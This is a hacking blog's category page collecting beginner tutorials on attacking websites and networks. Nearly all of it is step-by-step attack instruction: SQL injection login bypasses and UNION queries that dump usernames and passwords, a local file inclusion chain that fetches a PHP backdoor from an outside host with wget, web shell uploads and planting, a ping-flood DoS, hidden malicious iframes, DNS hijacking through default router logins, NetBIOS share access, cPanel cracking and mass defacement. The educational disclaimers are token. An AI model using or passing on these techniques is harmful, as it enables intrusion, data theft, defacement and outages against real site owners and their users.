Softwares Zone: WEB HACKING STUFF

Home » Posts filed under WEB HACKING STUFF

SQLmap GUI SQL Injection Tool

SQL injection is the most dangerous vulnerability that can cause a great harm to the website and their database, web application penetration testing is the right way to audit the security of a web application, since penetration testing means to confirm the vulnerability by exploit the vulnerability and there are several exploitation tool for SQLi is available and SQLmap is among of them.

SQLmap is the very famous SQL injection exploitation tool and the command line version of the tool was previously available but now the GUI (graphical user interface) of SQLmap is also available which is very easy to use and user friendly.
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

INSERT TARGET FOR EXPLOITATION

SQL MAP INJECTION TECHNIQUE

DATABASE TABLES

Click Here To Download SQL MAP:

Download Now

Hope Guyz u enjoy this. If you found this tutorial helpful then join this site.................!!!!!!!

Filed Under: WEB HACKING STUFF on Tuesday, July 16, 2013 No Comments

Local File inclusion | Shell upload | Tutorial

In this article he will demonstrate a local file inclusion vulnerability and he will enhance the attack by uploading a shell on the website.Here are some of the common parameters which are vulnerable to local file inclusion or remote file inclusion attacks.

index.php?homepage=
index.php?page=
index.php?index2=

Requirements:
1) A Vulnerable Website (List Download)

2) shell
3) User-Agent switcher (Download)

4) Mozilla Firefox

The first thing which a hacker will do while finding a LFI vulnerability is to locate the /etc/passwd file. This file indicates that a local file inclusion vulnerability is present in the website. The image below explains the whole story “root” is the username, followed by “x” which happens to be the password, however here it’s shadowed, which means that it’s present is /etc/shadow file. Which is only accessible when you have root privileges.

Next the hacker will check for /proc/self/environ. So change your path to /proc/self/environ/. The /proc/self/environ/ page should look something like this if the file exists, not all sites have it.

Once the local file inclusion vulnerability has been identified , the hacker will try to perform remote code execution and try to some how to further access. This can be done by uploading a PHP backdoor. For that purpose a commonly used tool is User agent switcer. Which can be downloaded from the link above.

The hacker edits the useragent and changes code inside to the user agent to the following:

<?php phpinfo();?>

Select your User-Agent in Tools > Default User Agent > PHP Info (Or whatever you User Agent is called)

After refreshing the website, He then searches for the keyword "disable_functions" (Ctrl+F Search function)

disable_functions | no value | no value

The above function tells us that website is vulnerable to remote code execution and now we can upload the PHP backdoor. On the finding that the website is vulnerable he then tries to upload the shell by using the following command:

<?exec('wget http://www.sh3ll.org/egy.txt -O shell.php');?>

Where the above code uploads a PHP backdoor in a text form and later renames it to .php. Now the shell has been successfully uploaded. Once the PHP backdoor has been uploaded it will look like the following:

Now you owned the website. Edit index.php and upload your deface page.

For any problem please comment................

Filed Under: WEB HACKING STUFF on No Comments

How To Hack Website Using SQL Injection (for beginners)

What is SQL Injection?

SQL injection is a technique that exploits a security vulnerability occurring

in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. Web pages which accepts parameters from user, and make SQL query to the database, are targeted. For Example, A web page with username and password, fires SQL query on the database to check whether a user has entered valid name and/or password or not. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

What is Required?

1) Any Web Browser

2) Some Basic SQL (Structured Query Language) Queries such as 'SELECT', 'INSERT', 'UPDATE', 'DELETE', etc. along with their attributes (i.e Syntax).

What you should look for?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

</FORM>

Everything between the <FORM> and </FORM> tags have potential parameters that might be useful.

You should look for pages like ASP, ASPX, JSP, CGI, or PHP.

Try to look especially for URL that takes parameters, like:

http://example.com/login.asp?id=10

Is it Vulnerable?

Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:

Pass: hi' or 1=1--

http://example.com/login.asp?id=hi' or 1=1--

You can do this with a hidden field, just view the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.

Example:

</FORM>

If luck is on your side, you will get login without any login name or password.

But why ' or 1=1-- ?

Take an asp page that will link you to another page with the following URL:

http://example.com/search.asp?category=sports

In this URL 'category' is the variable name and 'sports' is it's value.

Here this request fires following query on the database in background.

SELECT * FROM search WHERE category='sports'

Where 'search' is the name of table which is already present in some database.

So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:

http://example.com/search.asp?category=sports' or 1=1--

Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:

SELECT * FROM search WHERE category='sports' or 1=1--'

The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.

A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').

Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

'or''='

Countermeasures ?

Filter out character like ' " - / \ ; NULL, etc. in all strings from:

* Input from users

* Parameters from URL

* Values from cookie,,,,,,!!!!

Filed Under: WEB HACKING STUFF on No Comments

Exploiting Web Application By SQL Injection (Step by Step Tutorial)

Hello Readers, Today I am sharing with you how to exploit web application by SQL Injection Attack. In this post step by step I show you how to bypass admin login using some queries.

What is SQL Injection?

SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection

[Step – 1] Find SQL Injection Vulnerable Website

First we need vulnerable site to the attack. This is the first step in SQL injection exploitation and like every other hacking attack is the most time consuming, and is the only time consuming step.

1) By Google Dork

Google dorks are the center of the Google Hacking. Google database is the biggest so hackers use to exploit that database by using various search engine commands or complex search queries to locate sensitive data and vulnerable devices on the internet. For Example use this Google Dork to find randomly vulnerable website for SQL injection.

There is a large number of Google dork for basic SQL injection. Here is the best:

inurl:admin.asp

inurl:login/admin.asp

inurl:admin/login.asp

inurl:adminlogin.asp

inurl:adminhome.asp

inurl:admin_login.asp

inurl:administratorlogin.asp

inurl:login/administrator.asp

inurl:administrator_login.asp

2) By Automated Tools

Today many tools are available for found a vulnerable site. Tools make works easy and saving our time. Admin Page Finding tools which scans the vulnerable websites for administrator login pages. It makes use of a predefined list for finding the admin login pages. After finding the pages, it may present us the page on which we can login with the administrator password. “Actually finding admin page is nothing but just a directory of a particular website“.

You can use Admin Finder Script (Perl Script) . I share this script in my previous post. You can get this script and see the tutorial.

[Step - 2] SQL Injection Queries

Here is some popular SQL injection queries list. We can use these to bypass login authentication. These queries confuse the databases.

‘or’’=’

admin'--

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

[Step – 3] Exploitation Web Applications by SQL Injection

After find admin page of any vulnerable web application. We can exploit that vulnerable web application using client supplied SQL queries. Its enable to execute unauthorized SQL commands.

For example, when a user logs onto a webpage by using user name and password for validation, a SQL query is used there. However an attacker can use SQL\ injection to send specially crafted username and password fields that poison the original SQL queries.

Let’s see an example that illustrates this kind of attack so that we can fully understand how it works. We have a sql vulnerable website

http://demo.testfire.net/bank/login.aspx .

We found an SQL injection point for exploitation. In the image below we can see login page or user authentication form of this web site.

www.demo.testfire.net has an authentication form for accessing the administration part of its Website. The authentication requires the user to enter a valid username and password. After sending a username and password, the application sends a query to the database to validate the user.

The query has the following format:

SELECT *

FROM admin

WHERE username = '[USER ENTRY]' AND password = '[USER ENTRY]'

The application doesn’t perform any sanitization of the received data, and therefore we have full control over what we send to the server. The authentication form requests a username and a password from the user. If we enter any random username and password the result page shows an “Invalid username or password” message.

The authentication requires the user to enter a valid username and password. We don’t know the valid user name and password. We inject here some SQL queries to bypass login. In username filed we type admin as a username and in password filed we set “or”=”

The query has the following format:

SELECT *

FROM admin

WHERE username = 'admin' AND password = '’or’’=’'

If the query runs successfully we will bypass the login without knowing username and password. In the below Image we can see we bypass login and we use admin panel as an administrator. We manage website contains as we want.

* In My next post we will discuss about Blind SQL Injection.

If you like this post then kindly Share with your friends and groups and

Filed Under: WEB HACKING STUFF on No Comments

Denial of Service Attack (DOS) Attack On Website For Beginners

Hello readers, This is one of the most popular attack. When hacker or cracker not able to gain access on the target when he attacks the system for denial of services.

What is DDos Attack?

A Denial-of-Service attack (DoS attack) or Distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DOS attack may vary, it generally consists of the concerted efforts of a person, or multiple people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely.

In a typical DDoS attack, a hacker (or, if you prefer, cracker) begins by exploiting a vulnerability in one computer system and making it the DDoS master. It is from the master system that the intruder identifies and communicates with other systems that can be compromised. The intruder loads cracking tools available on the Internet on multiple -- sometimes thousands of -- compromised systems. With a single command, the intruder instructs the controlled machines to launch one of many flood attacks against a specified target. The inundation of packets to the target causes a denial of service.

How DoS Attacks are executed ?

DoS Attacks are usually executed by flooding the target servers with unsolicited data packets in unprecedented manner. This may be done by misconfiguring network routers or by performing smurf attack on the victim servers. This results in ‘Capacity Overflow’, followed by Max Out of system resources, which makes the target service unavailable, either temporarily or permanently(In case of hardware targeted DoS attack) to the intended users.

DOS Attack Methods

Denial of Service (DOS) attacks are intended to shut down the servers for a period of time. To make site nonfunctional for a time the main part of attack is DOS attack. DOS attacks are usually doing by following methods:

1. Send unlimited amount of packets to the server.

2. Executing Malwares

3. Teardrop attack

4. Application level flood

How to Perform Attack:

* Sending unlimited packets by ping command is also known as ICMP flood. This method can be done in the following way.

Follow these steps:

1: First of all you need to know the IP address of the website you want to crash. Use ping command in windows to get the ip address of the website

open CMD and enter ping www.website.com And you will get target machine IP.

2: Use Port scanner to check whether PORT 80 is open or not. If PORT 80 is not open choose another website to attack.

3: Now You have target machine IP Address. Type following command in CMD

A simple DOS attack code would be:

ping {Victim IP} -t -l 20000

On command prompt window you can type the following command. This command sends 20000 bytes of data to the IP, in a single packet. The -t is to ping the specified host until stopped and -l is to specify the buffer size.

DOS attack with ping flood will work only if the following cafeterias are satisfied:

1. Attacker should have higher bandwidth than the victim.

2. Victim should respond to the ping requests

Dos /DDoS Attack with Tool:

There Are Many tools to perform DOS/DDOS attack. Please note that tools used for DoS attacks and DDoS are different. You don't need to know about programming to understand and run these tools. These tools may be OS specific or platform independent depending on what condition the programmers has built the code. We Discus these tools in nest post. But here i am giving Loic Dos Attack tool Download link. So Download this tool n Enjoy DOS Attack. Thank you.

If you like this post then don’t forget to share it and If you are getting any problem regarding to this feel free to comment !!

Filed Under: WEB HACKING STUFF on No Comments

BREAK THE DATABASE OF WEB SITE USING SQL INJECTION

In this tutorial i am going to guide how to hack the website database using SQL injection. First of all you need to understand what is sql injection, so kindly read this tutorial

How to Break the Database:

Step 1 :
First we need to check whether website is vulnerable or not( i meant hackable or not) . In order to that, you need to find a page that looks like this:

www.site.com/page=1
or
www.site.com/id=5

Enter this url into google search or address bar. Basically the site needs to have an = then a number or a string, but most commonly a number.

Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'

If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2 :

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--
If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

If the above method is not working then try this:

www.site.com/page=1 order by 1
http://www.site.com/page=1 order by 2
http://www.site.com/page=1 order by 3
http://www.site.com/page=1 order by 4
http://www.site.com/page=1 order by 5
Step 3 :

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--
This is what we would enter if we have 4 columns. If you have 7 columns you would put, union all select 1,2,3,4,5,6,7-- . If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4 :

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()

or if these dont work try...

@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.

If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5 :
In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6 :
In this Step we want to list all the column names in the database, to do this we use the following command:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--

This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7 :
Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,

union all select 1,2,group_concat(username,0x3a,password),4 from admin--

So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website.,,,

Filed Under: WEB HACKING STUFF on No Comments

WHAT IS AN IFRAME INJECTION? MASS IFRAME ATTACK TUTORIAL For Beginners

What is an IFrame Injection?
Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites. So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website. Malware will be loaded to your computer, now you are infected

What is IFrame Tag?
<Iframe> tag stands for Inline Frame. It is used to insert contents from another website or server. That can be useful for building online applications.

IFrame Injection Attack:
Malware Attackers use this IFrame and include the malware websites. They are able to include the webpage one pixel square(You won't able to see it in webpage). Obfuscate the JavaScript that will run automatically from that included page so that it looks something like %6C%20%66%72%61%6D%65%62%6F - leaving no obvious clue that it's malicious.

What an attacker can do with Iframe Injection?
Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:
1.First of all attacker will find the Vulnerable websites using google dorks.
2. They test the vulnerability by inserting some iframe tag using the url.
3. then insert the Malicious Iframe code inside the webpage.
For Example:
he can insert this code using the url:
<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Obfuscate javascript
<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){…

4. So if the clients load page, his system will be infected.

What you have to do ,if youinfected by Iframe Injection?

Change your passwords of ftp, control panel and database.
Inform to your hosting service about the injection attack and they will take care of server injection .
Download all your files from the hosting and check whether they are infected or not. if you found any infected files, clean it.
Buy a good antivirus software, Scan your Computer completely.
Don't use the Public systems for logging into your Hosting service.
Webmasters should take care(affects page rank,visitors)
Webmaster, If you find your website is infected by Iframe Injection, then try to clean it as soon as possible before google detects it. If the google detects it, it will show the Pop up message to your users " This site may harm your computer". Definitely , users won't come back to your site . Also google will set black mark for your website. You will lost your page rank and visitors.

If you want to check the what google thinks about your websites, then use this link:
http://www.google.com/safebrowsing/diagnostic?site=http://siteurl

This is purely for Educational purpose only. Don't use it for illegal.if you do, you will be in jail.

Filed Under: WEB HACKING STUFF on No Comments

DNS Hacking/Hijacking Tutorial (for beginners)

This is an introduction to DNS poisoning which also includes an example of quite a nifty application of it using the IP Experiment. It’s purely educational, so I’m not responsible for how you use the information in it.
To start, you’ll need
• A computer running Linux (Ubuntu in my case)
• A basic understanding of how the Domain Name System (DNS) works.
Note that this is a more advanced topic; don’t try this if you don’t know what you’re doing.

Why DNS?

The DNS provides a way for computers to translate the domain names we see to the physical IPs they represent. When you load a webpage, your browser will ask its DNS server for the IP of the host you requested, and the server will respond. Your browser will then request the webpage from the server with the IP address that the DNS server supplied.
If we can find a way to tell the client the wrong IP address, and give them the IP of a malicious server instead, we can do some damage.

Malicious DNS Server

So if we want to send clients to a malicious web server, first we need to tell them its IP, and so we need to set up a malicious DNS server.
The server I’ve selected is dnsmasq – its lightweight and the only one that works for this purpose (that I’ve found)
To install dnsmasq on Ubuntu, run sudo apt-get install dnsmasq, or on other distributions of Linux, use the appropriate package manager.

Once you’ve installed it you can go and edit the configuration file (/etc/dnsmasq.conf)

sudo gedit /etc/dnsmasq.conf

The values in there should be sufficient for most purposes. What we want to do is hard-code some IPs for certain servers we want to spoof

The format for this is address=/HOST/IP

So for example;

address=/facebook.com/63.63.63.63

where 63.63.63.63 is the IP of your malicious web server

Save the file and restart dnsmasq by running

sudo /etc/init.d/dnsmasq restart

You now have a DNS server running which will redirect requests for facebook.com to 63.63.63.63

Malicious Web Server

You probably already have a web server installed. If not, install apache. This is pretty basic, so I won’t cover it here.

There are a couple of things you can do with the web server. It will be getting all the traffic intended for the orignal website, so the most likely cause of action would be to set up some sort of phishing site

I’ll presume you know how to do that though

Another alternative is to set up some sort of transparent proxy which logs all activity. I might come back to this in the future.

I Can Be Your DNS Server Plz?

An alternative is to, instead of a spoof webserver, set up a Metasploit browser_autopwn module . You can have lots of fun with that

But how do you get a victim? Well this is where my project, the IP Experiment could come in handy

If you don’t know, the IP Experiment basically harvests people’s IPs through websites such as forums and scans them for open ports. A surprising number of these IPs have port 80 open and more often that not, that leads straight to a router configuration mini-site. ‘Admin’ and ‘password’ will get you far in life; its fairly easy to login and change the DNS settings.
if you find the post successful then like this....

Filed Under: WEB HACKING STUFF on No Comments

Net-Bios Lan Hacking

This tutorial support almost all programs that create "LAN" network to can play games e.t.c.
First of all i will use Hamachi network.
I already create and some users connected ( its too late for online users , so i will show without online user to test )

Then select your target and right click it on him. Then select Copy ip address

Then go to :

Windows 7 [ Start menu -> type at search section cmd ]
Windowx XP,2003 e.t.c [ Start menu -> run -> type cmd]

Then write NBTSTAT -a \\(right click -> paste the ip from hamachi)

Then it will search at all networks and something like this will show :

Name Type Status
---------------------------------------------
Some_UNIQUE <00> UNIQUE Registered
Some_GROUP <00> GROUP Registered
Some_UNIQUE <03> UNIQUE Registered
Some_UNIQUE <20> UNIQUE Registered
Some_GROUP <1E> GROUP Registered

If your taget have <20> It mean he is 90% exploitable.
This is a list with what <number> means.

Spoiler Click to Hide
Name Number Type Usage
=============================================================
Code:
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server
[2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
========================================================================

Now type net view \\VictimIp

It will show you something like this:

Sharename Type Comment
-----------------------------------------------------------------
C Disk Drive C:\

MP3S Disk My collection of MP3s

Games Disk My games

The command was completed successfully.

You are almost finished. Now just type
net use NameOfDriverUwillUse: \\VictimIP\Games

Example: net use x: \\127.0.0.1\Games

Then wait a minute or two and if it sat The commands was completed successfully, look at your My computer and you will see new device with name "X" (X will be replaced with name at 3rd parameter from net use)

And you are allowed to delete files, create files, make directory, delete directory almost everything

I hope you all enjoy..........................

Filed Under: WEB HACKING STUFF on No Comments

How to Crack Passwords With C-Force Full Tutorial For Beginners

This summary is not available. Please click here to view the post.

Filed Under: WEB HACKING STUFF on No Comments

Shell Uploading With Tamper Data (Tutorial)

Assalamoalaikum All

Ali Here

--==Today im G01ng t0 Sh0w Y0uh==-

How t0 Upl04d Sh3ll Using Tamper Data :P

-----------=================-------------

[[[[[[[[[[[[[StaRT]]]]]]]]]]]]]]]]

-------

1) Firef0x Beta

2) Tamper Data Add0n...

--------------------------------

Add0n Download LinK...

https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

---------------------------------------------

Fire Fox Beta Download LinK:

www.mozilla.org/beta/

-------

---/

About this Add0n -TamperData/

About this Add-on

Use tamperdata to view and modify HTTP/HTTPS headers and post parameters.

Trace and time http response/requests.

Security test web applications by modifying POST parameters.

FYI current version of Google Web Accelerator is incompatible with the tampering function of TamperData.

Your browser will crash.

--+-

---SomeTimes Few webs Dont Allow y0u t0 upload Shell As .php

But With Tamper Data y0u can d0 thaT...

Open Website's Admin Panel...

1) Change Your Shell ExtensioN t0 .jpeg or .jpg or .gif

2) Now open y0ur Tamper Data And Click 0n Start Tampering..

3) Now goto Upload 0pt10n` and upload y0ur Shell As shell.jpg

4) Windows Will Pop-UP.

--- Tamper - Submit - Abort REQUEST

5) Click 0n Tamper

6) At Yewr Right Side Copy All Text fr0m POST DATA BOX

7) Paste All text in notepad..

8) Now Press [[ CTRL + F ] its mean "FIND"

9) Search For Shell.jpg

10) Edit You Shell Extension to .php then copy it paste it on post data box And Click On Submit...

11) Shell Will Upl04d Successfully... ;) ;)

----------Enj0y

Filed Under: WEB HACKING STUFF on No Comments

Shell Upl0ading In Wordress For Begginers Tutorial

Wordpress Shell Upl0ading...
---------------------------|
Start

Hey..
Ali Malik Here...

Today im Going To Sh0w y0uh h0w To Upl0AD Shell
On WordPRess....... Easy waY.... ;) ;)

===========/
1) Wordpress Site +Username +Password 2) MadSpot Security Team Shell =))

....------/

1) Login To y0ur hacked WordpREss SiTe...

2) nOw gOt0 Theme Editor..
--- wp-admin/theme-editor.php

3) On y0ur Right Side..Choose 404.php

4) Edit it And Paste Y0ur Madspot Shell Code in 404.php nd Save !t..

5) Now, you will see some thing like :
---- /home/Themename/public_html/wp-content/themes/themename/404.php&theme=themename&a=te&scrollto=0

6) Now Delete every thing before /wp-content/ and every thing after 404.php....

7) URl will be www.site.com/wp-content/themes/themename/404.php

7) Now Press Enter and Shell Execute ;)
Note:- This Is Just For Educational Purpose ONLY!

Filed Under: WEB HACKING STUFF on No Comments

Cpanel Cracking TUTORIAL For Beginners

Things Required :-

Shelled site

Cpanel Password Cracker (shell)

Step By Step Tutorial :-

First open you shell & upload the cpanel password cracker shell . Download the Cpanel password cracker shell from HERE

Then go down & click on User .

Now after you have clicked on User, below you will get all the usernames of the Cpanel . So now move to next step, your next step will be to get a good Password list for a Dictionary attack . After getting it you have to copy the username & paste it in the username block (above) & paste the password list in the password block .Then finally click on start .

Tip: Password list should be short & effective .

After the cracking is finished, in the next page you will see the result .

After Getting the login info you can login by going -> www.site.com:2082 . Here you will get the cpanel login area .

Happy Cpanel Cracking Guys ! ;)

Doubts ? Comment !!

Filed Under: WEB HACKING STUFF on No Comments

How to deface the Cgi-suspended pages Full Tutorial

CGI-suspended pages are the pages which are made for the suspended sites in the hosting. By this attacker can deface the site by editing the template of the suspended pages. There is benefit of this if you edit the template of the suspended site then you don’t have to deface the site manually just edit and save the suspended page template. then go to any site of the hosting and put /cgi-sys/suspendedpage.cgi .

For example :- www.site.com/cgi-sys/suspendedpage.cgi . now in every site of the server you will see your deface if you add

cgi-sys/suspendedpage.cgi after the site.com .

Now let us learn how to deface the CGI-suspended pages :-

First of all you need the WHM panel. Now after log in the whm panel you have to go to the Account functions> Web tempalte editor.

Now after opening the Web template editor. Click on Account Suspended. Now below you will see the code. Just simply put your deface code there. and save the template.

Now open any site in the same server and Put the cgi-sys/suspendedpage.cgi after the domain. You will see the deface. By this You don’t have to deface every site.

I hope You all will the Tutorial and don’t foeget to share it .

Filed Under: WEB HACKING STUFF on No Comments

Softwares Zone

SQLmap GUI SQL Injection Tool

Local File inclusion | Shell upload | Tutorial

How To Hack Website Using SQL Injection (for beginners)

Exploiting Web Application By SQL Injection (Step by Step Tutorial)

Denial of Service Attack (DOS) Attack On Website For Beginners

BREAK THE DATABASE OF WEB SITE USING SQL INJECTION

WHAT IS AN IFRAME INJECTION? MASS IFRAME ATTACK TUTORIAL For Beginners

DNS Hacking/Hijacking Tutorial (for beginners)

Net-Bios Lan Hacking

How to Crack Passwords With C-Force Full Tutorial For Beginners

Shell Uploading With Tamper Data (Tutorial)

Shell Upl0ading In Wordress For Begginers Tutorial

Cpanel Cracking TUTORIAL For Beginners

How to deface the Cgi-suspended pages Full Tutorial

slider

Categories

Popular Posts